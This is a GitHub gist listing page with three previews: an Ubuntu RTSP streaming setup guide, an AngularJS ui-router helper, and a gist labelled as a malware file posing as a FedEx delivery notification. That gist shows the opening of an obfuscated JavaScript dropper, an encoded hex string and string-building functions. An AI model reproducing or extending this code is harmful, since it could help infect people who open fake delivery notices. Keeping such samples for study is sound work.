Skip to content

Instantly share code, notes, and snippets.

@gynsolomon
gynsolomon / receipt4.md
Created February 10, 2021 02:36 — forked from neilyoung/receipt4.md
How to make an Ubuntu 16.04 an RTSP streamer and how to consume that?

How to make an Ubuntu 16.04 an RTSP streamer and how to consume that?

Prerequisites

It is recommended to to the following steps in a new VM in order to not accidently mess up an existing installation!

sudo apt-get install build-essential
sudo apt-get install bison
sudo apt-get install flex
sudo apt-get install libglib2.0-dev
@gynsolomon
gynsolomon / delivery_notification
Created April 21, 2015 10:15
这是伪造FedEx客服发来的病毒文件
/**
* Created by solomon on 15/4/21.
*/
var listing = "55555D5E031D0A170B080B090B0A240309050D084A070B09";
function proc_json_num() {
analyze_src_source_editor = analyze_src_source_editor + 'ni';
upload_view_au_valid();
};
function send_common_call_session_viewer() {
analyze_src_source_editor = analyze_src_source_editor + '{};';
@gynsolomon
gynsolomon / ui.router.otherwise.js
Last active August 29, 2015 14:13
This is a helper for combining usage of ngRoute & ui-router together.
/**
* Created by solomon on 15/1/14.
*/
+function () {
angular.module('ui.router.otherwise',['ui.router'])
.provider('otherwise', ['$urlRouterProvider', function ($urlRouterProvider) {
var url = '';
this.path = function (url) {
$urlRouterProvider.otherwise(function ($injector, $location) {
$('body>[ui-view]').html('');